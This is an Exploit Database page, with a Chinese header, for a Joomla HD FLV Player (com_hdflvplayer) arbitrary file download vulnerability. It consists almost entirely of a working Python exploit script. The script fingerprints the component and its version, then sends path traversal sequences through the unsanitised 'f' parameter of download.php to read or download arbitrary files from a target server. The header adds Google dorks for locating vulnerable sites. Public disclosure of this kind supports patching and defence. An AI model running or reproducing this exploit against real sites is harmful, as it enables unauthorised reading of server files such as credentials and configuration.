Joomla! Component com_hdflvplayer < 2.1.0.1 - Arbitrary File Download

Exploit Database
120 阅读

作者： Claudio Viviani

日期： 2014-11-15
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/35246/

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#!/usr/bin/env python

# Exploit Title :Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.hdflvplayer.net/

# Software Link : http://www.hdflvplayer.net/download_count.php?pid=5

# Dork google 1:inurl:/component/hdflvplayer/

# Dork google 2:inurl:com_hdflvplayer

# Date : 2014-11-11

# Tested on : BackBox 3.x/4.x

# Info:

# Url: http://target/components/com_hdflvplayer/hdflvplayer/download.php?f=

# The variable "f" is not sanitized.

# Over 80.000 downloads (statistic reported on official site)

# Video Demo: http://youtu.be/QvBTKFLBQ20

# Http connection

import urllib, urllib2

# String manipulation

import re

# Time management

import time

# Args management

import optparse

# Error management

import sys

banner = """

_________ ___ ___ ______

| _ .-----.-----.--------|.---.-. | Y | _\\

|___| |_|_|||_| |.1 |.| \\

|.| |_____|_____|__|__|__|__|___._| |._ |.|\\

|:1 | |:| |:1/

|::.. . | |::.|:. |::.. . /

-------' </code>--- ---<code>------'

_______ ___ ___ ___ _______ __

| _ | | | Y | | _ |.---.-.--.--.-----.----.

|.1___|.| |.| | |.1 ||_|||-__| _|

|.__) |.|___|.| | |.____|__|___._|___|_____|__|

|:| |:1 |:1 | |:||_____|

|::.| |::.. . |\:.. ./|::.|

</code>---' <code>-------' </code>---' `---'

<= 2.1.0.1 4rb1tr4ry F1l3 D0wnl04d

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it

homelabit@protonmail.ch

https://www.facebook.com/homelabit

https://twitter.com/homelabit

https://plus.google.com/+HomelabIt1/

https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

# Check url

def checkurl(url):

if url[:8] != "https://" and url[:7] != "http://":

print('[X] You must insert http:// or https:// procotol')

sys.exit(1)

else:

return url

def checkcomponent(url,headers):

try:

req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php', None, headers)

sys.stdout.write("\r[+] Searching HD FLV Extension...: FOUND")

print("")

except urllib2.HTTPError:

sys.stdout.write("\r[+] Searching HD FLV Extension...: Not FOUND :(")

sys.exit(1)

except urllib2.URLError:

print '[X] Connection Error'

def checkversion(url,headers):

try:

req = urllib2.Request(url+'/modules/mod_hdflvplayer/mod_hdflvplayer.xml', None, headers)

response = urllib2.urlopen(req).readlines()

for line_version in response:

if not line_version.find("<version>") == -1:

VER = re.compile('>(.*?)<').search(line_version).group(1)

sys.stdout.write("\r[+] Checking Version: "+str(VER))

print("")

except urllib2.HTTPError:

sys.stdout.write("\r[+] Checking Version: Unknown")

except urllib2.URLError:

print("\n[X] Connection Error")

sys.exit(1)

def connection(url,headers,pathtrav):

char = "../"

bar = "#"

s = ""

barcount = ""

for a in range(1,20):

s += char

barcount += bar

sys.stdout.write("\r[+] Exploiting...please wait: "+barcount)

sys.stdout.flush()

try:

req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php?f='+s+pathtrav, None, headers)

response = urllib2.urlopen(req)

content = response.read()

if content != "" and not "failed to open stream" in content:

print("\n[!] VULNERABLE")

print("[*] 3v1l Url: "+url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav)

print("")

print("[+] Do you want [D]ownload or [R]ead the file?")

print("[+]")

sys.stdout.write("\r[+] Please respond with 'D' or 'R': ")

download = set(['d'])

read= set(['r'])

while True:

choice = raw_input().lower()

if choice in download:

filedown = pathtrav.split('/')[-1]

urllib.urlretrieve (url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav, filedown)

print("[!] DOWNLOADED!")

print("[!] Check file: "+filedown)

return True

elif choice in read:

print("")

print content

return True

else:

sys.stdout.write("\r[X] Please respond with 'D' or 'R': ")

except urllib2.HTTPError:

#print '[X] HTTP Error'

pass

except urllib2.URLError:

print '\n[X] Connection Error'

time.sleep(1)

print("\n[X] File not found or fixed component :(")

commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME')

commandList.add_option('-t', '--target', action="store",

help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",

)

commandList.add_option('-f', '--file', action="store",

help="Insert file to check",

)

options, remainder = commandList.parse_args()

# Check args

if not options.target or not options.file:

print(banner)

commandList.print_help()

sys.exit(1)

print(banner)

url = checkurl(options.target)

pathtrav = options.file

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

sys.stdout.write("\r[+] Searching HD FLV Extension...: ")

checkcomponent(url,headers)

sys.stdout.write("\r[+] Checking Version: ")

checkversion(url,headers)

sys.stdout.write("\r[+] Exploiting...please wait:")

connection(url,headers,pathtrav)